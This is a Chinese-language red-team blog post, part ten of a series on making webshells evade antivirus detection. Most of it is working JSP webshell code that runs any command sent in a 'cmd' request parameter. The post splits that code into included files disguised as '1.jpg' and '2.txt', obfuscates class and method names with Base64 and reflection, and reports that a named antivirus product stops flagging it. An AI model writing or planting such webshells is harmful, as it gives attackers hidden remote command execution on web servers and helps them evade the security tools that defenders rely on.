什么?你还不会webshell免杀?(十)

渗透技巧 2年前 (2022) admin
493 0 0

其他免杀

本章只要将之前没讲的一些免杀反射进行补充

include分离免杀

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file = "1.jpg" %>

1.jpg

<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

什么?你还不会webshell免杀?(十)

免杀效果:

什么?你还不会webshell免杀?(十)


什么?你还不会webshell免杀?(十)

可以看到某盾会查杀jpg文件,这样的话,我们就在分解成多个部分

什么?你还不会webshell免杀?(十)

这里我们分成两部分进行包含

什么?你还不会webshell免杀?(十)

发现依旧绕不过,其实原因就是杀软的匹配规则,有的是单一匹配,有的是同时匹配,因此我们换一个之前不免杀的webshell(由于两处及以上特征存在导致被查杀)

什么?你还不会webshell免杀?(十)

正常运行

什么?你还不会webshell免杀?(十)

某盾不在查杀

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file = "1.jpg" %>
<%@ include file = "2.txt" %>

1.jpg

<%   
        String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
        Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
        Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
        Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
        Object object = method.invoke(runtimeMethod.invoke(null),cmd);
        Process process = (Process) object;

%>

2.txt

<%
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

总结:

java的免杀只要就是在于如何利用字节码,jsp特性,创建漏洞,少见的API等方式去绕过杀软的正则表达式,一般的杀软为了降低误报率,其实规则写的并不苛刻,还是比较好绕过了,多种免杀一起使用可以达到比较好的效果,其实学免杀,并不是盲目去测试,而且要了解更多的语言特性,就相当于游戏规则,当你足够了解游戏规则,再去测试杀软的规则,才能游刃有余。从才开始的php到现在的jsp,免杀系列已经写了10来篇了,weshell免杀就此先告一段落,后面如果有新的知识点也会继续补充,感谢大家,关注红队蓝军。

往期推荐

什么?你还不会webshell免杀?(十)

什么?你还不会webshell免杀?(九)

什么?你还不会webshell免杀?(八)

什么?你还不会webshell免杀?(七)

什么?你还不会webshell免杀?(六)

什么?你还不会webshell免杀?(五)

什么?你还不会webshell免杀?(四)

什么?你还不会webshell免杀?(三)

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(一)



什么?你还不会webshell免杀?(十)

原文始发于微信公众号(红队蓝军):什么?你还不会webshell免杀?(十)

版权声明:admin 发表于 2022年11月14日 上午8:01。
转载请注明:什么?你还不会webshell免杀?(十) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...